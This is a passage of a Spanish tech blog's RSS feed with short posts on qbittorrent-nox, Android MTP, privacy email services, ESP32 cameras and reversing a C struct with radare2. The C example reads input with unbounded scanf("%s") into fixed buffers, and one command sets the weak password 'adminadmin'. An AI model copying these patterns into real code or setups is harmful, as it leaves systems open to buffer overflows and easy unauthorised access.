</span></span></code></pre></div>
-
Qbittorrent no X
https://imlauera.github.io/qbittorrent_no_x/
Thu, 09 Jan 2025 04:46:54 -0300
https://imlauera.github.io/qbittorrent_no_x/
<p><code>yay -S qbittorrent-nox</code></p>
<p>Luego ejecutá qbittorrent-nox y abrirá una Web UI en <code>localhost:8080</code></p>
<p><code>falkon "http://localhost:8080"</code></p>
<p>qbittorrent-nox –webui-port=8080 –webui-password=adminadmin</p>
-
Montar android como almacenamiento usb: MTP
https://imlauera.github.io/montar_android_como_almacenamiento_usb/
Tue, 07 Jan 2025 12:40:03 -0300
https://imlauera.github.io/montar_android_como_almacenamiento_usb/
<p>No vas a ver la partición al ejecutar: <code>sudo fdisk -l o lsblk</code>.</p>
<p>Los Android modernos no utilizan el protocolo de almacenamiento USB tradicional para conceder acceso al almacenamiento del teléfono, por lo que no ves un dispositivo de bloque (/dev/sd*) apareciendo. <strong>Utilizan un protocolo específico llamado MTP que abstracta el sistema de archivos subyacente de la computadora (el beneficio aquí es que puedes seguir usando tu teléfono/ el sistema de archivos del teléfono</strong>, mientras cambias los datos a través de la computadora). Para todos los efectos prácticos, piensa en él como un sistema de archivos de red como SMB o NFS donde puedes acceder a los archivos pero no tienes información sobre el almacenamiento real en el que se almacena la data.</p>
-
Correos sin número de teléfono
https://imlauera.github.io/correos_sin_numero_de_telefono/
Mon, 06 Jan 2025 19:08:03 -0300
https://imlauera.github.io/correos_sin_numero_de_telefono/
<p>Lista: <a href="https://red-dot-geek.com/free-email-services-no-phone/">https://red-dot-geek.com/free-email-services-no-phone/</a></p>
<p>Disroot (<a href="https://disroot.org">https://disroot.org</a>) es una plataforma no lucrativa, impulsada por la comunidad y descentralizada que ofrece diversos servicios en línea gratuitos, como correo electrónico, calendario, chat y almacenamiento en la nube. La plataforma busca promover la privacidad digital, la protección de datos y la adopción de software de código abierto, permitiendo a los usuarios proteger sus datos de la vigilancia masiva y otras tecnologías que violan la privacidad.</p>
<p>Los servicios de Disroot se alojan en servidores distribuidos en diferentes localizaciones geográficas, lo que fomenta la descentralización y una mejor seguridad. La plataforma está construida en software de código abierto y herramientas gratuitas/libres a las que los usuarios pueden acceder, auditar e mejorar para una mayor transparencia y colaboración.</p>
-
Reversing: simple estructura en C
https://imlauera.github.io/reversing_simple_estructura/
Sat, 04 Jan 2025 19:18:02 -0300
https://imlauera.github.io/reversing_simple_estructura/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> persona {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> nombre[<span style="color:#ae81ff">20</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> edad;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> telefono[<span style="color:#ae81ff">60</span>];
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">void</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> persona persona1;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Tamaño de la estructura: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,<span style="color:#66d9ef">sizeof</span>(persona1));
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Esto no se puede hacer.
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingrese su nombre: "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%s"</span>,persona1.nombre);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingrese su edad: "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%d"</span>,<span style="color:#f92672">&</span>persona1.edad);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingrese su telefono: "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%s"</span>,persona1.telefono);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Nombre: %s, Edad: %d, Teléfono: %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, persona1.nombre, persona1.edad, persona1.telefono);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><hr>
<h4 id="codigo-generado-por-radare-r2-executable">Codigo generado por radare (r2 executable).</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001159</span> <span style="color:#ae81ff">55</span> <span style="color:#66d9ef">push</span> <span style="color:#66d9ef">rbp</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000115a</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">e5</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rbp</span>, <span style="color:#66d9ef">rsp</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000115d</span> <span style="color:#ae81ff">4883</span><span style="color:#66d9ef">ec60</span> <span style="color:#66d9ef">sub</span> <span style="color:#66d9ef">rsp</span>, <span style="color:#ae81ff">0x60</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001161</span> <span style="color:#ae81ff">64488</span><span style="color:#66d9ef">b0425..</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rax</span>, <span style="color:#66d9ef">qword</span> <span style="color:#66d9ef">fs</span>:[<span style="color:#ae81ff">0x28</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000116a</span> <span style="color:#ae81ff">488945</span><span style="color:#66d9ef">f8</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">qword</span> [<span style="color:#66d9ef">canary</span>], <span style="color:#66d9ef">rax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000116e</span> <span style="color:#ae81ff">31</span><span style="color:#66d9ef">c0</span> <span style="color:#66d9ef">xor</span> <span style="color:#66d9ef">eax</span>, <span style="color:#66d9ef">eax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001170</span> <span style="color:#66d9ef">be54000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">esi</span>, <span style="color:#ae81ff">0x54</span> <span style="color:#75715e">; 'T'
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001175</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d058c0e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, <span style="color:#66d9ef">str.Tamao_de_la_estructura</span>:<span style="color:#66d9ef">__d_n</span> <span style="color:#75715e">; 0x2008 ; "Tama\u00f1o de la estructura: %d\n"
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000117c</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000117f</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001184</span> <span style="color:#66d9ef">e8b7feffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span> <span style="color:#75715e">; int printf(const char *format)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001189</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d05960e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, <span style="color:#66d9ef">str.Ingrese_su_nombre</span>: <span style="color:#75715e">; 0x2026 ; "Ingrese su nombre: "
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001190</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001193</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001198</span> <span style="color:#66d9ef">e8a3feffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span> <span style="color:#75715e">; int printf(const char *format)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000119d</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d45a0</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, [<span style="color:#66d9ef">var_60h</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011a1</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c6</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rsi</span>, <span style="color:#66d9ef">rax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011a4</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d058f0e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, [<span style="color:#ae81ff">0x0000203a</span>] <span style="color:#75715e">; "%s"
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011ab</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011ae</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011b3</span> <span style="color:#66d9ef">e898feffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.__isoc99_scanf</span> <span style="color:#75715e">; int scanf(const char *format)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011b8</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d057e0e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, <span style="color:#66d9ef">str.Ingrese_su_edad</span>: <span style="color:#75715e">; 0x203d ; "Ingrese su edad: "
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011bf</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011c2</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011c7</span> <span style="color:#66d9ef">e874feffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span> <span style="color:#75715e">; int printf(const char *format)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011cc</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d45a0</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, [<span style="color:#66d9ef">var_60h</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011d0</span> <span style="color:#ae81ff">4883</span><span style="color:#66d9ef">c014</span> <span style="color:#66d9ef">add</span> <span style="color:#66d9ef">rax</span>, <span style="color:#ae81ff">0x14</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011d4</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c6</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rsi</span>, <span style="color:#66d9ef">rax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011d7</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d05710e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, [<span style="color:#ae81ff">0x0000204f</span>] <span style="color:#75715e">; "%d"
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011de</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011e1</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011e6</span> <span style="color:#66d9ef">e865feffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.__isoc99_scanf</span> <span style="color:#75715e">; int scanf(const char *format)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011eb</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d05600e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, <span style="color:#66d9ef">str.Ingrese_su_telefono</span>: <span style="color:#75715e">; 0x2052 ; "Ingrese su telefono: "
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011f2</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011f5</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011fa</span> <span style="color:#66d9ef">e841feffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span> <span style="color:#75715e">; int printf(const char *format)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x000011ff</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d45a0</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, [<span style="color:#66d9ef">var_60h</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001203</span> <span style="color:#ae81ff">4883</span><span style="color:#66d9ef">c018</span> <span style="color:#66d9ef">add</span> <span style="color:#66d9ef">rax</span>, <span style="color:#ae81ff">0x18</span> <span style="color:#75715e">; "`\x10"
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001207</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c6</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rsi</span>, <span style="color:#66d9ef">rax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000120a</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d05290e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, [<span style="color:#ae81ff">0x0000203a</span>] <span style="color:#75715e">; "%s"
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001211</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001214</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001219</span> <span style="color:#66d9ef">e832feffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.__isoc99_scanf</span> <span style="color:#75715e">; int scanf(const char *format)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000121e</span> <span style="color:#ae81ff">8</span><span style="color:#66d9ef">b55b4</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">edx</span>, <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">var_4ch</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001221</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d45a0</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, [<span style="color:#66d9ef">var_60h</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001225</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d4818</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rcx</span>, [<span style="color:#66d9ef">rax</span> <span style="color:#960050;background-color:#1e0010">+</span> <span style="color:#ae81ff">0x18</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001229</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d45a0</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, [<span style="color:#66d9ef">var_60h</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000122d</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c6</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rsi</span>, <span style="color:#66d9ef">rax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001230</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d05310e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, <span style="color:#66d9ef">str.Nombre</span>:<span style="color:#66d9ef">__s__Edad</span>:<span style="color:#66d9ef">__d__Telfono</span>:<span style="color:#66d9ef">__s_n</span> <span style="color:#75715e">; 0x2068 ; "Nombre: %s, Edad: %d, Tel\u00e9fono: %s\n"
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001237</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000123a</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000123f</span> <span style="color:#66d9ef">e8fcfdffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span> <span style="color:#75715e">; int printf(const char *format)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001244</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001249</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">b55f8</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdx</span>, <span style="color:#66d9ef">qword</span> [<span style="color:#66d9ef">canary</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000124d</span> <span style="color:#ae81ff">64482</span><span style="color:#66d9ef">b1425..</span> <span style="color:#66d9ef">sub</span> <span style="color:#66d9ef">rdx</span>, <span style="color:#66d9ef">qword</span> <span style="color:#66d9ef">fs</span>:[<span style="color:#ae81ff">0x28</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">┌─<</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001256</span> <span style="color:#ae81ff">7405</span> <span style="color:#66d9ef">je</span> <span style="color:#ae81ff">0x125d</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001258</span> <span style="color:#66d9ef">e8d3fdffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.__stack_chk_fail</span> <span style="color:#75715e">; void __stack_chk_fail(void)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#75715e">; CODE XREF from sub.main_1159 @ 0x1256(x)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">└─></span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000125d</span> <span style="color:#66d9ef">c9</span> <span style="color:#66d9ef">leave</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">└</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000125e</span> <span style="color:#66d9ef">c3</span> <span style="color:#66d9ef">ret</span>
</span></span></code></pre></div><h4 id="explicación">Explicación</h4>
<p>Todos los registros que empiezan con r toman los primeros 64 bits, los que empiezan con e los primeros 32 bits, y si no tienen ninguno hacen referencia a los primeros 16 bits. Ejemplo: <code>rax(64 bits), eax(32 bits), AX(16 bits)</code>.</p>
-
Camara ESP32 mandar fotos/sms con 3g/4g: Sima7670
https://imlauera.github.io/esp32_con_3g_4g/
Sat, 04 Jan 2025 17:33:01 -0300
https://imlauera.github.io/esp32_con_3g_4g/
<p><a href="https://randomnerdtutorials.com/esp32-sim800l-send-text-messages-sms/">https://randomnerdtutorials.com/esp32-sim800l-send-text-messages-sms/</a></p>
-
Ver cualquier cámara sin aplicación móvil sólo con MPV
https://imlauera.github.io/ver_cualquier_camara_sin_aplicacion/
Thu, 02 Jan 2025 17:50:43 -0300
https://imlauera.github.io/ver_cualquier_camara_sin_aplicacion/
<p>Primero tenemos que saber cual es la IP de la cámara para eso podemos bajarnos una aplicación de visor de cámaras en el celular o escanear las IPs con nmap o con un escaner de IPs en Windows como Advanced IP Scanner.</p>
<p>Cuando identificamos la IP de la cámara, tenemos que saber su usuario y contraseña para saber esta información si tendremos que bajar la aplicación pero solo 1 vez.</p>
-
ESP32 CAM: Como enviar foto por SMTP, solucionar problema de conexión USB en Windows
https://imlauera.github.io/esp32_enviar_foto_por_smtp_reinstalar_drivers_windows/
Thu, 02 Jan 2025 11:39:01 -0300
https://imlauera.github.io/esp32_enviar_foto_por_smtp_reinstalar_drivers_windows/
<p>Luego de flashear es recomendable hacer esta prueba: Apagá tu modem/router por unos minutos el esp32 se intentará conectar al wifi pero fallará luego prendelo y el ESP32 se debería reconectar automáticamente, si falla es porque programé algo mal XD, (todavía no hice la prueba).
Quizás la mejora que se le podría hacer al código es contar cuantas veces se intentó conectar al WiFi si es superior a 30 que reinicie el ESP32 con el comando <code>ESP.restart();</code> le podes preguntar a ChatGPT seguro te programa algo similar.</p>
-
Python: No module named pip
https://imlauera.github.io/pip/
Tue, 31 Dec 2024 12:10:19 -0300
https://imlauera.github.io/pip/
<p>ModuleNotFoundError: No module named ‘pip’</p>
<p><strong>Easy fix:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python -m ensurepip
</span></span></code></pre></div>
-
Aprendé a programar ayudando a GNU
https://imlauera.github.io/contribuir_gnu/
Mon, 30 Dec 2024 16:59:27 -0300
https://imlauera.github.io/contribuir_gnu/
